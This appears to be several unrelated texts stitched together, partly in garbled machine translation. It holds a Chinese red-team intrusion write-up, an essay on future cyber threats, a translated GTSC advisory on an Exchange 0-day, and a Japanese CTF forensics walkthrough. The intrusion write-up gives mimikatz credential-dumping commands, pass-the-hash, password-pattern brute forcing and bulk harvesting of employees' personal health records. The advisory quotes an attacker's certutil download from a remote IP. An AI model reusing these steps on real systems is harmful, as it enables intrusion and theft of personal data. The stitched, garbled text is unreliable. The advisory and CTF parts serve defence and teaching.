利用bp抓包查看JS相关文件发现存在sql语句

nv4sevwjqry13915.jpg

跟踪comboxsql变量,发现定义了一个action

t5nr25q05gg13917.jpg

搜索这个action类路径,发现访问方式是通过url拼接

knacehff5i413918.jpg

将该路径进行拼接,并将参数输入sql语句,测试发现该数据库为mssql数据库,可通过xp_cmdshell来执行系统命令。

1fgf5objryh13919.jpg

shellcodeloader上线CS

执行system权限后,打算直接使用远程下载上线免杀cs,但是未上线成功,查看进程发现有360企业云,触发拦截了执行exe行为。

ppp5izyc5iz13921.jpg

换种思路,通过下载哥斯拉webshell后,利用哥斯拉的shellcodeloader功能,加载自己CS木马的shellcode可上线成功。

abwboyy0mjx13922.jpg

解密数据库配置信息

因执行任何exe文件时,均提示拒绝访问,无法进行文件的运行,通过搜索本机配置文件发现了数据库的账号密码,但是数据库密码加密了

ez2bir4nmb113924.jpg

通过查找历史网站备份文件,发现的该系统早期配置文件并未做数据库密码加密配置,测试发现可以连接数据库。

timza5rxglj13926.jpg

另外查找本系统数据库备份文件时,意外发现了该服务器部署的另一套业务系统,并且数据库配置文件中的账号、密码和数据库ip同样也为加密存储。

fgc131uatzh13928.jpg


通过查找该系统特征发现为SiteServer CMS系统。从网上搜索发现了该cms的专用加解密工具 SiteServer CLI

02lgphlvaoq13930.jpg

运行后也可获取数据库明文配置信息

cs开启代理进行连接,测试连接成功

4cz0cvtu3jt13931.jpg

不过同样发现该数据库服务器也无法执行exe程序,无法运行mimikatz读取管理员哈希,无法建立用户,无法上传tscan进行内网扫描,在这尬住了。最后使用cs插件的信息探测,可探测内网网段资产。

hzhe4pkx4hp13934.jpg

使用17010插件攻击失败

hottuejarpl13935.jpg

使用proxychains配合msf获取了PC权限Image

5wrv4oafgd113937.jpg

使用mimikaz读取管理员密码开启远程桌面发现无法登录限制

b2n4w5ftij413939.jpg

msf加载mimikaz模块


ts::multirdp

获取内网权限

建立新用户,进入个人pc电脑

kamz25q2wpq13941.jpg

通过该PC机为据点,上传TideFinger和Tscan搭配进行内网扫描,在这有必要介绍下该两款工具。

Go语言版的TideFinger指纹识别功能: 1、加入Dismap、Vscan、Kscan、fofa、ServerScan等多个指纹 2、并加入了ServerScan的非web服务指纹,优化了资产发现的协程并发效率。3、显示效果借鉴了Dismap,在效率和指纹覆盖面方面应该是目前较高的了

ys0ciwxypis13944.jpg

Go语言版的Tscan功能: 1、Tscan为Tide安全团队共同维护的内外网资产扫描工具 2、基础代码随Fscan更新进行迭代 3、与潮声POC漏洞检测平台联动,团队成员每月会编写近期爆出的poc和定期收集整理网上已发布的poc检测模块最后进行更新发布。


pett2gvi5jl13945.jpg

扫描内网网段后,接下来是漏洞验证的过程,瞄了一眼结果没有发现能直接getshell的洞,不过指纹探测出了内网其中一ip开放了2222端口为rmi。

frzjzfl3ii113947.jpgImage

虽然拿到了该服务器权限,但是通过对本服务器进行信息搜集时,并未发现其它相关的账号密码信息。

SAM文件获取用户hash

使用mimikaz中sekurlsa::logonpasswords命令尝试读取进程lsass的信息来获取当前登录用户的密码信息,输出结果发现没有administrator等用户信息(主要是因为拿权限上cs时,估计触发了杀软策略导致服务器重启了),然后使用query user发现管理员用户不在线,故无法直接通过内存读取管理员hash。使用mimikaz读取SAM文件中的hash。


privilege::debug
#提升至system
token::elevate
#抓取sam
lsadump::sam

hash传递

拿到NTLM Hash后发现无法从在线网站直接解密出明文密码 通过获取的NTLM进行hash传递获取四台服务器权限。

s4b0nzucc1n13952.jpg

接下来利用hash登录该服务器,继续进行信息搜集。在其中一台服务器内发现了套娃远程桌面,并且为03系统

bcjae1tfols13954.jpg

获取服务器密码规律

通过mimikaz读取该密码(在KB2871997之前,Mimikatz可以直接抓取明文密码)


* Domain : WIN-LAOLOVGMF
* Password : xxxxxy401*1009

* Username : Administrator
* Domain : SD-68QDNY80KE
* Password : xxxxxy101*2006

* Username : SDAdministrator
* Domain : SD-93O4N5O2UD
* Password : xxxxxy501*2003

以及获取数据库配置密码


            <add key="dbDBName" value="REPSDU"/>
            <add key="dbUserName" value="sa"/>
            <add key="dbUserPwd" value="sdxxxxxy1108"/>
            <add key="CrystalImageCleaner-AutoStart" value="true"/>
            <add key="CrystalImageCleaner-Sleep" value="60000"/>
            <add key="CrystalImageCleaner-Age" value="120000"/>
        </appSettings>

通过观察发现服务器密码命名规律,猜测为楼层+房间号组合结尾,数据库服务器以房间号结尾。通过组合变形密码后缀,进行内网横向爆破。可获得大量SSH和RDP服务器

ju0wzhba0iy13957.jpgImage

通过此方式拿到了靶标服务器权限。

hpkdaapz1bo13962.jpg

接下来寻找敏感数据,通过对数据库搜寻发现大部分的数据信息已被脱敏存储。

ibfdwmdcznj13966.jpg

翻看了获取的数据库里涉及业务的公民个人信息发现全被脱敏存储了,企业内部的一些系统登录人员个人信息倒是没有脱敏存储,但是数量较少。

获取个人信息

只好换种思路,打算矛头指向办公区电脑(因一些企业、学校和医院之类的个人信息有时候会存储在个人电脑excel中,方便整理使用,特别疫情时期人员的核酸信息) 继续使用TideFinger详细的搜集内网资产,发现了内网存在oa系统。通过收集数据库中含有管理员、高层、企管专员、总裁、信息中心和主任相关的工号、身份证号、姓名、密码、生日等个人信息。

hhrsmm5wpzx13969.jpgt4hu123nbfh13973.jpg3pxj3dx4xkt13977.jpg

尝试发现可成功登录oa系统,即使密码错误的账号,也可通过忘记密码重置密码(重置密码需要填写身份证+工号)

opbyv2lgnhw13979.jpg

最终在oa中发现了2020-2022年的核酸检测名单等,其中包括各地分公司以及各厂区人员信息几十万余条。

3kfp1qkbjx413982.jpg

总结

随着近些年攻防演练的开展,防守单位对于安全的投入也越来越多,特别是安全防护、安全设备以及蓝队防守人员的加入,使得打点变的尤为困难。所以还是需要不断学习师傅们的思路,从而提高自己的姿势水平呀。



原文链接:https://mp.weixin.qq.com/s/KrbCMEn_8C7XcsHxGSwnIA

雖然互聯網無疑帶來了新的好處,但也帶來了新的問題,因為網絡犯罪分子看到我們越來越依賴網絡連接後企圖大做文章。

網絡釣魚郵件、惡意軟件及勒索軟件攻擊,或竊取銀行資料、密碼及其他個人信息,互聯網為惡意黑客提供了眾多新的途徑來撈錢財、搞破壞。比如,只要看看關鍵基礎設施、學校和醫院如何受到了網絡攻擊的影響。

我們尚未完全保護網絡免受如今的互聯網威脅,不過技術已經在邁進,帶來了我們必須防備的新威脅。

量子計算:密碼破解和貨幣挖掘量子計算是最重大的技術突破之一,它有望能夠快速解決經典計算機無力處理的複雜問題。

這一進步將給科研和社會帶來好處的同時,也會帶來新的挑戰。最值得注意的是,功能強大的量子計算可以快速破解數十年來我們用來保護眾多方面的加密算法,包括網上銀行、安全通信和數字簽名。

目前,量子計算成本高昂,開發量子計算所需的專業知識僅限於大型科技公司、研究機構和政府。但就像任何創新技術一樣,量子計算最終會變得更商業化、更普及,網絡犯罪分子會企圖利用量子技術。

思科Talos的安全研究技術負責人Martin Lee表示,屆時量子計算能夠破解當前的加密算法。 20年前完全合適的加密密鑰長度再也不合適了。

美國網絡安全和基礎設施安全局(CISA)此前警告,現在須採取行動,幫助保護網絡免受借助量子計算的網絡攻擊,尤其是那些支持關鍵國家基礎設施的網絡。

不過,雖然借助量子計算的破壞性網絡攻擊是未來的一大網絡安全威脅,但量子計算機本身可能會成為黑客的誘人目標。

不妨以挖掘加密貨幣的惡意軟件為例。攻擊者將這種惡意軟件安裝在計算機和服務器上,悄然利用他人網絡的資源來挖掘加密貨幣,從中牟利,這一切無需為消耗的資源或算力付費。

比特幣等加密貨幣是由計算機通過解決複雜的數學問題生成的,這類數學問題用量子計算機網絡來解決比較容易。這意味著,如果網絡犯罪分子能夠在量子計算機上植入挖掘加密貨幣的惡意軟件,一下子就能暴富,自己幾乎不需要花一分錢。

趨勢科技的高級防病毒研究員David Sancho表示,只要感染一台量子計算機,就可以開始計算非常複雜的算法。

如果你在量子計算機上有一個加密貨幣礦工軟件,將極大地提高挖礦能力,這成為網絡攻擊的目標,很容易做出這樣的預測。

利用人工智能和機器學習但量子計算不是網絡犯罪分子企圖利用的唯一新興技術,預計他們還會利用人工智能和機器學習方面的進展。

與量子計算一樣,人工智能和機器學習將推動眾多領域的創新,包括機器人及無人駕駛汽車、語音及語言識別以及醫療保健等。

能適應和學習的人工智能可用於正道,但最終一旦人工智能變得更普遍,網絡犯罪分子早晚會利用它幫助提高網絡攻擊的成效。

WithSecure的首席研究官Mikko Hyppönen表示,我們開始看到惡意軟件活動、勒索軟件活動和網絡釣魚活動完全由機器學習框架自動化運作。

利用這項技術的一種手段是,編寫基於文本的生成算法來發送和回復常見的垃圾郵件或商業電子郵件入侵(BEC)活動。

犯罪分子可以依靠一種算法來分析哪些響應最有可能是值得回复的真正受害者,而不是仍然不為所動的人,或者將惡作劇回復發回給垃圾郵件發送者的人,而不是需要人花時間來撰寫和回复郵件。這種現狀意味著你到頭來被機器人程序欺騙。

網絡犯罪分子還可能利用機器學習方面的進展,開發自編程的智能惡意軟件,而不是需要開發人員來支持它,這種惡意軟件可以通過自動應對遇到的網絡防禦來更新自己,從而最大限度地發揮成效。

Hyppönen表示,可以想像,當自編程程序變得功能比現在更強大時,可以完成人類創建的功能,這聽起來很好,但如果換成勒索軟件,情況就不容樂觀了。

勒索軟件可能改變代碼,變得更難理解,而且每次都不一樣,它可能嘗試創建檢測不到的版本。這一切在技術上是可行的,這一幕早晚會出現。

深度偽造但是人工智能被用來構成網絡威脅不僅僅是互聯網的未來問題,如今已經在上演:深度學習被用來支持深度偽造(deepfake),這種視頻看起來像是真實的人或活動,但實際上是假的。

深度偽造被用於政治虛假信息宣傳活動和惡作劇以愚弄政客,它們已經被用於增強BEC及其他欺詐攻擊,網絡犯罪分子使用深度偽造音頻,說服員工授權向攻擊者擁有的賬戶轉移大額資金。

Fortalice Solutions首席執行官兼白宮前首席信息官Theresa Payton表示,深度偽造視頻將用於實施犯罪活動。不僅僅用於操縱,還用於宣傳虛假信息和錯誤信息。

以面向公眾的CEO們為例。他們上電視,發表演講,網上有他們的視頻,比較容易找到他們聲音的錄音,騙子者已經可以通過深度偽造技術利用這些資源模仿他們的聲音。

畢竟,如果員工接到公司負責人的電話,告訴他們做某事,他們很可能會照辦,實施這類攻擊的網絡犯罪分子對此心知肚明。

已有這樣的先例:深度偽造音頻被用來成功地說服某人將資金轉移到不該轉移的地方。隨著深度偽造背後的技術不斷改進,這意味著辨別真假的難度只會越來越大。而越來越讓人擔心的是,我們缺乏真正打擊這種活動的能力。

受感染的物聯網說到互聯網的未來,深度偽造不是網絡威脅可能影響我們日常生活的唯一領域。智能物聯網設備日益成為我們日常生活中的一部分,各種傳感器、電器、可穿戴設備及其他聯網產品出現在家庭、辦公室和工廠等場所。

雖然將物聯網設備連接到家庭和工作場所網絡有一定的優點,但聯網程度提高也為網絡犯罪分子伺機作案提供了更大的攻擊面。

如果為日常設備添加功能和連接,它們變得容易被攻擊。原本不容易被攻擊的設備變得容易被攻擊。不存在安全的計算機,也不存在無法攻破的設備。這是當下發生的一幕,無法阻止,而且會越來越隱蔽。

想想家用電器:它們越來越有可能變得“智能”、聯網。從電視到牙刷,任何東西現在都可以聯網。但對於家電製造商來說,製造聯網設備是比較新的現象,以前許多設備不需要考慮網絡安全威脅。一些廠商甚至可能在設計過程中根本沒考慮到這一點,因而產品容易受到黑客攻擊。

雖然黑客攻擊咖啡機或魚缸聽起來並不令人擔憂,但這類設備是網絡上的節點,一旦被訪問,可以作為跳板,進而攻擊更重要的設備和敏感數據。

雖然物聯網安全有望逐漸改進,但還有另一個問題要考慮。已經有成千上萬缺乏安全的物聯網設備,這些設備甚至可能無法打上安全補丁。

想想幾年後多少智能手機無法接收安全補丁。再想一想迅猛發展的物聯網,如果冰箱或汽車設備可能繼續使用數十年,將會發生什麼?

沒有哪家軟件開發商會支持20年前編寫的軟件。如果廠商不再支持其設備的更新,就應該開放源代碼,以便別人支持更新。

聯網設備已經在整個社會無處不在,整個智慧城市將成為常態。但如果網絡安全和合規不是推動這個趨勢的關鍵力量,可能會給每個人帶來負面影響。

如果你不解決這些問題,將會以前所未有的速度遭到規模空前的攻擊。這確實令人不安。勒索軟件攻擊早晚會劫持智慧城市。智慧城市將成為目標,我們會遇到某種程度的持續性破壞。

網絡安全界上演軍備競賽儘管潛在威脅初露端倪,但業界人士對互聯網未來還是抱以樂觀態度。雖說網絡犯罪分子會使用新技術來幫助改進攻擊水平,但負責保護網絡的人士也會運用同樣的技術幫助防止攻擊。

我們的這種能力越來越強:為惡意行為建立模型,然後使用人工智能、大數據、分析及不同類型的機器學習算法,繼續改進技術。

現在無法阻止一切,因為網絡犯罪分子總是在調整策略,但業界確實能夠阻止更多的低中級類別的威脅。網絡安全在改善,即使新技術即將出現,這並不意味著網絡犯罪分子及其他惡意黑客會輕鬆得逞。

如果比較今天和十年前的計算機安全,就會發現我們在安全方面變得越來越好,攻擊者趁虛而入變得越來越難。

互聯網未來的穩定性取決於今後依然是這樣子。

8月初,在執行安全監控和事件響應服務時,GTSC SOC團隊發現一個關鍵基礎架構受到攻擊,經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間,GTSC Blue Team專家確定,攻擊者利用了一個未公開的Exchange安全0 day 漏洞,因此立即制定了臨時緩解計劃。與此同時,安全專家開始研究和調試Exchange反編譯代碼,以查找漏洞並利用代碼。經分析,該漏洞非常嚴重,使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI),以便與微軟合作,盡快準備修補程序。 ZDI驗證並確認了2個漏洞,CVSS評分分別為8.8和6.3。

1.png

不過截至目前,修復程序還未發布,GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試,研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時,GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示:

加图1.png

研究人員還檢查了其他日誌,發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新,因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後,他們對為什麼漏洞利用請求與ProxyShell bug類似? RCE是如何實施的?等問題進行了研究。

經過分析,研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而,處於安全考慮,目前我們還不想發布該漏洞的技術細節。

利用後(Post-exploit)活動在追踪到有關攻擊示例後,研究人員開始收集信息並在受害者的系統中建立一個立足點。另外,攻擊者還使用各種技術在受影響的系統上創建後門,並對系統中的其他服務器執行橫向移動。

Webshell我們檢測到Webshell被丟棄到Exchange服務器,其中大部分是模糊的。通過用戶代理,我們檢測到攻擊者使用了Antsword,這是一個基於中文的開源跨平台網站管理工具,支持webshell管理。

加图2.png

另一個值得注意的特點是,攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中,GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外,攻擊者還通過certutil下載文件並檢查連接,certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是,每個命令都以字符串echo[S]cdecho[E]結尾。

此外,攻擊者還將惡意DLL注入內存,在受攻擊的服務器上釋放可疑文件,並通過WMIC執行這些文件。

可疑文件在服務器上,研究人員檢測到exe和dll格式的可疑文件:

3.png

在可疑文件中,根據服務器上執行的命令,研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後,攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是,在響應過程中,上述文件在受攻擊的系統中不再存在,可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名:Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為,其他DLL樣本有類似的任務和行為,只是偵聽器配置不同。

DLL由兩個類組成:Run和m,每個類都調用執行不同任務的方法。具體地說:

Run類創建一個偵聽器,偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後,惡意軟件創建一個調用r的新線程。方法r執行以下操作:

1.檢查接收到的請求正文中是否有數據,如果沒有,則返回結果404。

2.相反,如果請求包含數據,DLL將繼續處理if分支內的流:

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是,調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果:

6.png

m類方法i可以:

1.使用AES算法對收到的請求進行解密,其中請求的前16個字節是IV值,後16個字節為key值,其餘為數據。

2.解碼後,獲取數組中的第一個元素作為標誌,以處理定義的情況,處理定義的情況如下:

7.png

示例1:調用方法info。該方法主要負責收集系統信息,比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送:前16字節是IV值,後16字節是key值,後面是一個指定選項的標誌,其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2:調用方法sc,調用sc方法,該方法負責分配內存來實現shellcode。

9.png

示例3:調用兩個方法p和r。方法p處理由“|”字符分隔的數據,保存到數組array3。數組array 3將前兩個元素作為方法r的參數,該方法負責執行命令。

10.png

示例4:調用方法ld,該方法負責以以下這種格式列出目錄和文件信息:

加图3.png

11.png

示例5:調用方法wf,該方法負責寫入文件:

12.png

示例6:調用方法rf,該方法負責讀取文件:

13.png

示例7:創建文件夾;

示例8:刪除文件或文件夾;

示例9:移動文件;

示例10:設置文件時間;

14.png

示例11:加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務,只是偵聽器配置不同,如下所示:

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據,其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外,可能還有許多其他組織被利用,但尚未被發現。在等待正式補丁的同時,GTSC提供了一個臨時緩解措施,通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求,從而緩解攻擊。

在前端自動發現中,選擇選項卡“URL重寫”,選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑:

18.png

條件輸入:選擇{REQUEST_URI}:

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施,以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用,GTSC發布了掃描IIS日誌文件的指南和工具(默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中):

方法1:使用powershell命令:

加图4.png

方法2:使用GTSC開發的工具:基於漏洞簽名,我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接:https://github.com/ncsgroupvn/NCSE0Scanner。

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか?ベース機能。エンコード長:3バイナリデータ(24ビット)ごとに、4つのASCII文字(文字あたり6ビット)にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット:Base64エンコーディング次の64文字で構成される文字セット:大文字:A-Z小文字:A-Z番号:0-9 2つのシンボル: +および /いくつかの実装では、 - +は - 、/_と交換することができます(通常はURL-Safe base64エンコードに使用されます)。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします(原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません)。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました!コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました!在这里插入图片描述

重要な情報を取得します。パス:STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」(zipの16進数——504b0304)在这里插入图片描述を分析して見つけます

簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass:Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル(Prefetchファイル)は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能:ストレージ場所:PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash Value.pfです。スタートアップのスピードアップ:PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析:デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト:PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要:PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか?慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード:iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか?これがマスターの要約です。 PECMD:使用法:PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能:バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView:使用:winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能:フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

